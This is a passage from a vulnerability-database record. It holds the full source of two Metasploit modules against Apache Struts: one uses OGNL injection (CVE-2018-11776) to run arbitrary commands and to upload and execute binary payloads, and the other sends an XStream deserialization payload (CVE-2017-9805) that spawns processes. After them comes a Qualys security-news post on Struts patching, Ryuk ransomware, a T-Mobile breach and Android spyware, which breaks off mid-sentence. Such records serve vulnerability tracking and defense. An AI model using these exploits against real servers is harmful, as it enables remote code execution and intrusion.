Windows Meterpreter sessions on\n Tomcat >=7.0.88 are currently not supported.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.\n },\n 'Author' => [\n 'Man Yue Mo', # Discovery\n 'hook-s3c', # PoC\n 'asoto-r7', # Metasploit module\n 'wvu' # Metasploit module\n ],\n 'References' => [\n ['CVE', '2018-11776'],\n ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],\n ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],\n ],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Automatic detection', {\n 'Platform' => %w{ unix windows linux },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n },\n ],\n [\n 'Windows', {\n 'Platform' => %w{ windows },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n },\n ],\n [\n 'Linux', {\n 'Platform' => %w{ unix linux },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}\n },\n ],\n ],\n 'DisclosureDate' => '2018-08-22', # Private disclosure = 2018-04-10\n 'DefaultTarget' => 0))\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\n OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),\n OptBool.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]),\n ]\n )\n register_advanced_options(\n [\n OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),\n OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ),\n OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ),\n ]\n )\n end\n\n def check\n # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable\n ognl = \"#_memberAccess['allowStaticMethodAccess']\"\n\n resp = send_struts_request(ognl)\n\n # If vulnerable, the server should return an HTTP 302 (Redirect)\n # and the 'Location' header should contain either 'true' or 'false'\n if resp && resp.headers['Location']\n output = resp.headers['Location']\n vprint_status(\"Redirected to: #{output}\")\n if (output.include? '/true/')\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\n datastore['ENABLE_STATIC'] = false\n CheckCode::Vulnerable\n elsif (output.include? '/false/')\n print_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\")\n datastore['ENABLE_STATIC'] = true\n CheckCode::Vulnerable\n else\n CheckCode::Safe\n end\n elsif resp && resp.code==400\n # METHOD 2: Generate two random numbers, ask the target to add them together.\n # If it does, it's vulnerable.\n a = rand(10000)\n b = rand(10000)\n c = a+b\n\n ognl = \"#{a}+#{b}\"\n\n resp = send_struts_request(ognl)\n\n if resp.headers['Location'].include? c.to_s\n vprint_status(\"Redirected to: #{resp.headers['Location']}\")\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\n datastore['ENABLE_STATIC'] = false\n CheckCode::Vulnerable\n else\n CheckCode::Safe\n end\n elsif resp.nil?\n fail_with(Failure::Unreachable,\"Target did not respond. Please double check RHOSTS and RPORT\")\n end\n end\n\n def exploit\n case payload.arch.first\n when ARCH_CMD\n resp = execute_command(payload.encoded)\n else\n resp = send_payload()\n end\n end\n\n def encode_ognl(ognl)\n # Check and fail if the command contains the follow bad characters:\n # ';' seems to terminates the OGNL statement\n # '/' causes the target to return an HTTP/400 error\n # '\\' causes the target to return an HTTP/400 error (sometimes?)\n # '\\r' ends the GET request prematurely\n # '\\n' ends the GET request prematurely\n\n bad_chars = %w[; \\\\ \\r \\n] # and maybe '/'\n bad_chars.each do |c|\n if ognl.include? c\n print_error(\"Bad OGNL request: #{ognl}\")\n fail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\")\n end\n end\n\n # The following list of characters *must* be encoded or ORNL will asplode\n encodable_chars = { \"%\": \"%25\", # Always do this one first. :-)\n \" \": \"%20\",\n \"\\\"\":\"%22\",\n \"#\": \"%23\",\n \"'\": \"%27\",\n \"<\": \"%3c\",\n \">\": \"%3e\",\n \"?\": \"%3f\",\n \"^\": \"%5e\",\n \"`\": \"%60\",\n \"{\": \"%7b\",\n \"|\": \"%7c\",\n \"}\": \"%7d\",\n #\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal.\n #\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround?\n #\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\n #\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\n }\n\n encodable_chars.each do |k,v|\n #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)\n ognl.gsub!(\"#{k}\",\"#{v}\")\n end\n return ognl\n end\n\n def send_struts_request(ognl, payload: nil, headers: nil)\n ognl = \"${#{ognl}}\"\n vprint_status(\"Submitted OGNL: #{ognl}\")\n ognl = encode_ognl(ognl)\n\n if headers.nil?\n headers = {'Keep-Alive': 'timeout=5, max=1000'}\n end\n\n if payload\n vprint_status(\"Embedding payload of #{payload.length} bytes\")\n headers[datastore['HEADER']] = payload\n end\n\n # TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs\n uri = normalize_uri(target_uri.path, \"/#{ognl}/#{datastore['ACTION']}\")\n\n r = send_request_cgi(\n #'encode' => true, # this fails to encode '\\', which is a problem for me\n 'uri' => uri,\n 'method' => datastore['HTTPMethod'],\n 'headers' => headers\n )\n\n if r && r.code == 404\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\")\n end\n\n return r\n end\n\n def send_profile\n # Use OGNL to extract properties from the Java environment\n\n properties = { 'os.name': nil, # e.g. 'Linux'\n 'os.arch': nil, # e.g. 'amd64'\n 'os.version': nil, # e.g. '4.4.0-112-generic'\n 'user.name': nil, # e.g. 'root'\n #'user.home': nil, # e.g. '/root' (didn't work in testing)\n 'user.language': nil, # e.g. 'en'\n #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\n }\n\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|('#{rand_text_alpha(2)}')|\n properties.each do |k,v|\n ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|\n end\n ognl = ognl[0...-4]\n\n r = send_struts_request(ognl)\n\n if r.code == 400\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\n elsif r.headers['Location']\n # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\n # Extract the OGNL output from the Location path, and strip the two random chars\n s = r.headers['Location'].split('/')[1][2..-1]\n\n if s.nil?\n # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\n # But we didn't get any output, so we can't profile the target. Abort.\n return nil\n end\n\n # Confirm that all fields were returned, and non include extra (:) delimiters\n # If the OGNL fails, we might get a partial result back, in which case, we'll abort.\n if s.count(':') > properties.length\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\n end\n\n # Separate the colon-delimited properties and store in the 'properties' hash\n s = s.split(':')\n i = 0\n properties.each do |k,v|\n properties[k] = s[i]\n i += 1\n end\n\n print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\n \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\n return properties\n else\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\n end\n end\n\n def profile_os\n # Probe for the target OS and architecture\n begin\n properties = send_profile()\n os = properties[:'os.name'].downcase\n rescue\n vprint_warning(\"Target profiling was unable to determine operating system\")\n os = ''\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\n end\n return os\n end\n\n def execute_command(cmd_input, opts={})\n # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.\n if cmd_input.include? ';'\n print_warning(\"WARNING: Command contains bad characters: semicolons (;).\")\n end\n\n os = profile_os()\n\n if os && ((os.include? 'linux') || (os.include? 'nix'))\n cmd = \"{'sh','-c','#{cmd_input}'}\"\n elsif os && (os.include? 'win')\n cmd = \"{'cmd.exe','/c','#{cmd_input}'}\"\n else\n vprint_error(\"Failed to detect target OS. Attempting to execute command directly\")\n cmd = cmd_input\n end\n\n # The following OGNL will run arbitrary commands on Windows and Linux\n # targets, as well as returning STDOUT and STDERR. In my testing,\n # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.\n\n vprint_status(\"Executing: #{cmd}\")\n\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|\n ognl << %q|(#p.redirectErrorStream(true)).|\n ognl << %q|(#process=#p.start()).|\n ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|\n ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|\n ognl << %q|(#r.flush())|\n\n r = send_struts_request(ognl)\n\n if r && r.code == 200\n print_good(\"Command executed:\\n#{r.body}\")\n elsif r\n if r.body.length == 0\n print_status(\"Payload sent, but no output provided from server.\")\n elsif r.body.length > 0\n print_error(\"Failed to run command. Response from server: #{r.to_s}\")\n end\n end\n end\n\n def send_payload\n data_header = datastore['HEADER']\n if data_header.empty?\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\n end\n\n payload = generate_payload_exe\n print_status(\"Generated #{payload.length} byte binary payload\")\n payload_b64 = [payload].pack(\"m\").delete(\"\\n\")\n\n if payload_b64.length < 8100\n send_payload_oneshot(payload_b64)\n else\n send_payload_multishot(payload)\n end\n end\n\n def send_payload_oneshot(payload)\n data_header = datastore['HEADER']\n if data_header.empty?\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\n end\n\n random_filename = datastore['TEMPFILE']\n\n # d = payload data\n # f = path to temp file\n # s = stream/handle to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\n ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|\n ognl << %q|(#f.setExecutable(true)).|\n ognl << %q|(#f.deleteOnExit()).|\n ognl << %q|(#s=new java.io.FileOutputStream(#f)).|\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\n ognl << %q|(#s.write(#d)).|\n #TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|\n ognl << %q|(#s.close()).|\n ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\n ognl << %q|(#p.start()).|\n ognl << %q|(#f.delete()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n\n r = send_struts_request(ognl, payload: payload)\n\n if r && r.headers && r.headers['Location'].split('/')[1] == success_string\n print_good(\"Payload successfully dropped and executed.\")\n elsif r && r.headers['Location']\n vprint_error(\"RESPONSE: \" + r.headers['Location'])\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\n elsif r && r.code == 400\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\")\n end\n end\n\n def ognl_create_file()\n filename = datastore['TEMPFILE']\n\n # f = path to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|\n ognl << %q|(#f.setExecutable(true)).|\n ognl << %q|(#f.deleteOnExit()).|\n ognl << %q|(#f)|\n\n r = send_struts_request(ognl)\n\n begin\n tempfile = r.headers['Location']\n tempfile = tempfile[1..-(2+datastore['ACTION'].length)]\n if tempfile.empty?\n fail_with(Failure::UnexpectedReply,\"Unable to create and locate file on target. Try a cmd/*/generic payload\")\n end\n rescue\n fail_with(Failure::UnexpectedReply,\"Unable to create and locate file. Try a cmd/*/generic payload\")\n end\n\n return tempfile\n end\n\n def send_payload_multishot(payload)\n tempfile = ognl_create_file()\n print_status(\"Temp file created: #{tempfile}\")\n\n payload_cursor = 0\n\n while payload_cursor < payload.length\n payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing\n payload_start = payload_cursor\n payload_end = payload_cursor + payload_size\n payload_end = payload.size if payload_end > payload.size\n\n chunk_bin = payload[payload_start..payload_end]\n chunk_b64 = [chunk_bin].pack(\"m\").delete(\"\\n\")\n print_status(\"Sending payload chunk: #{chunk_b64.length} bytes\")\n ognl_append_file(tempfile, chunk_b64)\n\n payload_cursor = payload_end + 1\n end\n\n ognl_execute(tempfile)\n end\n\n def ognl_append_file(payload_file, payload_chunk)\n data_header = datastore['HEADER'] + 'd'\n file_header = datastore['HEADER'] + 'f'\n headers = {\n \"#{data_header}\": payload_chunk,\n \"#{file_header}\": payload_file,\n }\n\n # d = payload data\n # f = path to temp file\n # s = stream/handle to temp file\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|\n ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|\n ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\n ognl << %q|(#s.write(#d)).|\n ognl << %q|(#s.close()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n r = send_struts_request(ognl, headers: headers)\n\n begin\n if r.headers['Location'].include? success_string\n vprint_good(\"OGNL payload chunk sent successfully.\")\n return\n else\n fail_with(Failure::UnexpectedReply, \"OGNL payload upload did not respond\")\n end\n rescue\n fail_with(Failure::UnexpectedReply, \"OGNL payload upload failed\")\n end\n end\n\n def ognl_execute(file)\n file_header = datastore['HEADER'] + 'f'\n headers = {\n \"#{file_header}\": file,\n }\n\n # f = path to temp file\n # p = process handle\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|\n ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|\n ognl << %q|(#p.start()).|\n ognl << %q|(#f.delete()).|\n\n success_string = rand_text_alpha(4)\n ognl << %Q|('#{success_string}')|\n r = send_struts_request(ognl, headers: headers)\n\n begin\n if r.code==302\n print_good(\"OGNL payload executed successfully.\")\n else\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\n end\n rescue\n vprint_status(\"TARGET RESPONDED: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while attempting to execute the payload\")\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_namespace_ognl.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-01-02T11:59:31", "description": "Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12, using the REST plugin, are vulnerable to a Java deserialization attack in the XStream library.\n", "cvss3": {}, "published": "2017-09-08T00:30:48", "type": "metasploit", "title": "Apache Struts 2 REST Plugin XStream RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-9805"], "modified": "2019-07-10T16:15:36", "id": "MSF:EXPLOIT-MULTI-HTTP-STRUTS2_REST_XSTREAM-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/struts2_rest_xstream/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Apache Struts 2 REST Plugin XStream RCE',\n 'Description' => %q{\n Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,\n using the REST plugin, are vulnerable to a Java deserialization attack\n in the XStream library.\n },\n 'Author' => [\n 'Man Yue Mo', # Vulnerability discovery\n 'wvu' # Metasploit module\n ],\n 'References' => [\n ['CVE', '2017-9805'],\n ['URL', 'https://struts.apache.org/docs/s2-052.html'],\n ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],\n ['URL', 'https://github.com/mbechler/marshalsec']\n ],\n 'DisclosureDate' => '2017-09-05',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'python', 'linux', 'win'],\n 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n ['Unix (In-Memory)',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_memory\n ],\n ['Windows (In-Memory)',\n 'Platform' => 'win',\n 'Arch' => ARCH_CMD,\n 'Type' => :win_memory\n ],\n ['Python (In-Memory)',\n 'Platform' => 'python',\n 'Arch' => ARCH_PYTHON,\n 'Type' => :py_memory\n ],\n ['PowerShell (In-Memory)',\n 'Platform' => 'win',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_memory\n ],\n ['Linux (Dropper)',\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n ],\n ['Windows (Dropper)',\n 'Platform' => 'win',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper\n ]\n ],\n 'DefaultTarget' => 0\n ))\n\n register_options([\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])\n ])\n end\n\n def check\n return CheckCode::Appears if execute_command(rand_str)\n\n CheckCode::Safe\n end\n\n def exploit\n case target['Type']\n when /memory/\n execute_command(payload.encoded)\n when /dropper/\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, opts = {})\n cmd =\n case target['Type']\n when :unix_memory, :linux_dropper\n %W{/bin/sh -c #{cmd}}\n when :py_memory\n %W{python -c #{cmd}}\n when :psh_memory\n if payload\n cmd_psh_payload(\n cmd,\n payload.arch.first,\n remove_comspec: true,\n encode_final_payload: true\n ).split\n else\n %W{powershell.exe -c #{cmd}}\n end\n when :win_memory, :win_dropper\n %W{cmd.exe /c #{cmd}}\n end\n\n # Encode each command argument with XML entities\n cmd.map! { |arg| arg.encode(xml: :text) }\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path),\n 'ctype' => 'application/xml',\n 'data' => xstream_payload(cmd)\n )\n\n return false unless check_response(res)\n\n true\n end\n\n # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO\n def xstream_payload(cmd)\n # XXX: <spillLength> and <read> need to be removed for Windows\n <<EOF\n<map>\n <entry>\n <jdk.nashorn.internal.objects.NativeString>\n <flags>0</flags>\n <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n <dataHandler>\n <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n <is class=\"javax.crypto.CipherInputStream\">\n <cipher class=\"javax.crypto.NullCipher\">\n <initialized>false</initialized>\n <opmode>0</opmode>\n <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n <iter class=\"javax.imageio.spi.FilterIterator\">\n <iter class=\"java.util.Collections$EmptyIterator\"/>\n <next class=\"java.lang.ProcessBuilder\">\n <command>\n <string>#{cmd.join('</string><string>')}</string>\n </command>\n <redirectErrorStream>false</redirectErrorStream>\n </next>\n </iter>\n <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n <method>\n <class>java.lang.ProcessBuilder</class>\n <name>start</name>\n <parameter-types/>\n </method>\n <name>#{rand_str}</name>\n </filter>\n <next class=\"string\">#{rand_str}</next>\n </serviceIterator>\n <lock/>\n </cipher>\n <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n <ibuffer></ibuffer>\n <done>false</done>\n <ostart>0</ostart>\n <ofinish>0</ofinish>\n <closed>false</closed>\n </is>\n <consumed>false</consumed>\n </dataSource>\n <transferFlavors/>\n </dataHandler>\n <dataLen>0</dataLen>\n </value>\n </jdk.nashorn.internal.objects.NativeString>\n <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n </entry>\n <entry>\n <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n </entry>\n</map>\nEOF\n end\n\n def check_response(res)\n res && res.code == 500 && res.body.include?(error_string)\n end\n\n def error_string\n 'java.lang.String cannot be cast to java.security.Provider$Service'\n end\n\n def rand_str\n Rex::Text.rand_text_alphanumeric(8..42)\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_rest_xstream.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "qualysblog": [{"lastseen": "2019-01-14T20:46:20", "description": "Ransomware raids aimed at specific targets with big pockets. Another Struts vulnerability -- but scarier than last year\u2019s. An Android spyware that records your phone calls. These are some of the security news that have caught our attention.\n\n### New Struts Bug Should Be Patched Yesterday\n\n![](https://blog.qualys.com/wp-content/uploads/2018/08/struts-logo-300x150.png)Apache patched a serious remote code execution vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) affecting all supported versions -- 2.3 to 2.3.34 and 2.5 to 2.5.16 -- of the widely used Struts Java application framework. The bug is considered more dangerous than the one disclosed last year in Struts that was exploited in the massive data breach at Equifax.\n\nIn the Apache [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-057>), the vulnerability is rated \u201cCritical\u201d and users are advised to immediately upgrade to Struts 2.3.35 or Struts 2.5.17.\n\nThe remote code execution becomes possible \u201cwhen using results with no namespace and in same time, its upper action(s) have no or wildcard namespace\u201d and \u201cwhen using url tag which doesn\u2019t have value and action set,\u201d the bulletin reads.\n\nOrganizations should upgrade to the patched Struts versions even if their applications aren\u2019t vulnerable to this bug. \u201cAn inadvertent change to a Struts configuration file may render the application vulnerable in the future,\u201d [stated](<https://semmle.com/news/apache-struts-CVE-2018-11776>) Semmle, whose security researcher Man Yue Mo discovered this vulnerability.\n\nUpgrading should take first priority, considering that Struts is widely used for public web apps, vulnerable systems are easy to identify, and the bug is easy to exploit, according to the company.\n\n\u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk,\u201d said Pavel Avgustinov, a Semmle VP.\n\nWriting in the Qualys blog, Product Management Director Jimmy Graham [noted](<https://blog.qualys.com/securitylabs/2018/08/23/detecting-apache-struts-2-namespace-rce-cve-2018-11776>) that the vulnerability does not exist with a default configuration of Struts, but that \u201cit does exist in commonly seen configurations for some Struts plugins.\u201d\n\n\u201cDue to the ease of exploitation and relatively common configuration that is required, this vulnerability should be patched immediately for all applications that use Struts 2,\u201d Graham wrote. Qualys has defined two QIDs to detect this vulnerability (QID 13251 and QID 371151), and created dynamic [dashboards](<https://community.qualys.com/docs/DOC-6515-dashboards-and-reporting-detecting-apache-struts-2-namespace-rce-cve-2018-11776?_ga=2.73902801.230834091.1535379602-620242525.1458325156>) to visualize it.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/08/struts-dashboard-2018.png)\n\nGraham also describes how the Qualys Web Application Firewall (WAF) can mitigate the vulnerability.\n\nMore information:\n\n[Apache Struts 2 namespace Remote Code Execution Vulnerability: CVE-2018-11776](<https://threatprotect.qualys.com/2018/08/22/apache-struts-2-namespace-remote-code-execution-vulnerability-cve-2018-11776/?_ga=2.140995313.230834091.1535379602-620242525.1458325156>) _(Qualys)_\n\n[Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>) _(ThreatPost)_\n\n[Admins Urged: Stop Everything and Patch New Apache Struts Flaw](<https://www.infosecurity-magazine.com/news/admins-stop-everything-patch/>) _(InfoSecurity)_\n\n[Experts Urge Rapid Patching of \u2018Struts\u2019 Bug](<https://krebsonsecurity.com/2018/08/experts-urge-rapid-patching-of-struts-bug/>) _(Krebs on Security)_\n\n[PoC Code Surfaces to Exploit Apache Struts 2 Vulnerability](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) _(ThreatPost)_\n\n### Ransomware Campaign Attacks Selected Organizations\n\n![](https://blog.qualys.com/wp-content/uploads/2018/08/ransomware-2320941_1280-600x400.jpg)Cyber thieves recently began attacking handpicked corporations with ransomware and demanding skyhigh bitcoin payments.\n\nThe criminals are deliberately targeting specific large businesses, and they\u2019re using ransomware called Ryuk that\u2019s designed for tailored attacks. They reportedly netted more than $600,000 during the campaign\u2019s first two weeks.\n\n\u201cIts encryption scheme is intentionally built for small-scale operations, such that only crucial assets and resources are infected in each targeted network with its infection and distribution carried out manually by the attackers,\u201d CheckPoint researchers [wrote](<https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/>).\n\nThe implication is that prior to each attack, \u201cextensive network mapping, hacking and credential collection\u201d is conducted by the miscreants, believed to have ties to the notorious hacker collective Lazarus Group and be experienced in targeted attacks, according to the researchers.\n\nMore information:\n\n[This new ransomware campaign targets business and demands a massive bitcoin ransom](<https://www.zdnet.com/article/this-new-ransomware-campaign-targets-business-and-demands-a-massive-bitcoin-ransom/>) _(ZDnet)_\n\n[Ryuk Ransomware Emerges in Highly Targeted, Highly Lucrative Campaign](<https://threatpost.com/ryuk-ransomware-emerges-in-highly-targeted-highly-lucrative-campaign/136755/>) _(ThreatPost)_\n\n[Ryuk Ransomware Crew Makes $640,000 in Recent Activity Surge](<https://www.bleepingcomputer.com/news/security/ryuk-ransomware-crew-makes-640-000-in-recent-activity-surge/>) _(BleepingComputer)_\n\n### T-Mobile Hacked, Millions Affected\n\nPersonal information of 2 million T-Mobile customers, [including encrypted passwords](<https://motherboard.vice.com/en_us/article/a3qpk5/t-mobile-hack-data-breach-api-customer-data>), may have been accessed by hackers via a breached API on August 20.\n\nThe compromised data may have included names, billing zip codes, phone numbers, email addresses, and account numbers, but not financial information nor Social Security numbers, [according to the company](<https://www.t-mobile.com/customers/6305378821>). T-Mobile hasn\u2019t provided further details on the nature of the attack.\n\nOn related news, customer security PINs from T-Mobile and AT&T were found to be accessible due to unrelated flaws in partners\u2019 websites, [according to BuzzFeed](<https://www.buzzfeednews.com/article/nicolenguyen/tmobile-att-account-pin-security-flaw-apple>). Apple\u2019s online store exposed the T-Mobile data, while the website of phone insurance company Asurion exposed AT&T\u2019s data. Both companies fixed the flaws after being alerted to them.\n\nAccess to a mobile account PIN could let a hacker \u201ceasily commandeer your phone number and use it to trick the SMS-based authentication designed to verify your identity when you log on to your bank, email provider, or social media accounts,\u201d wrote Nicole Nguyen in BuzzFeed.\n\nMeanwhile, a security researcher was able to [enter a Sprint employee portal](<https://techcrunch.com/2018/08/25/hacker-accessed-sprint-portal-customer-data/>) protected by weak credentials, and said customer data could have been accessed.\n\nMore information:\n\n[Passwords Part of Data Breach, T-Mobile Admits: What to Do Now](<https://www.tomsguide.com/us/tmobile-breach-2018,news-27876.html>) _(Tom\u2019s Guide)_\n\n[Why T-Mobile's Data Breach Should Be a Wake-Up Call](<https://www.fool.com/investing/2018/08/27/why-t-mobiles-data-breach-should-be-a-wake-up-call.aspx>) _(Motley Fool)_\n\n[2 Million T-Mobile Customers Are Hit by a Data Breach](<https://www.consumerreports.org/privacy/2-million-t-mobile-customers-hit-by-data-breach/>) _(Consumer Reports)_\n\n[Security researchers found vulnerabilities at AT&T, T-Mobile, and Sprint that could have exposed customer data](<https://www.theverge.com/2018/8/25/17781906/att-tmobile-sprint-security-vulnerabilities-customer-information>) _(The Verge)_\n\n[T-Mobile, AT&T customer account PINs were exposed by website flaws](<https://www.engadget.com/2018/08/25/t-mobile-att-pin-vulnerability/>) _(Engadget)_\n\n### Android Malware Records Calls, Takes Videos\n\n![](https://blog.qualys.com/wp-content/uploads/2018/08/Android-logo-300x188.png)Malware that infects Android devices and conducts extensive snooping has been discovered bundled in a malicious app that mimics a legitimate one.\n\nCalled Triout, the spyware stealthily can record phone calls, log incoming text messages, take videos, snap photos, collect location data and transmit everything it collects to a command and control center, [according to Bitdefender](<https://www.bitdefender.com/files/News/CaseStudies/study/234/Bitdefender-Whitepaper-Triout-The-Malware-Framework-for-Android-That-Packs-Potent-Spyware-Capabilities.pdf>), which discovered it.\n\n\u201cThe 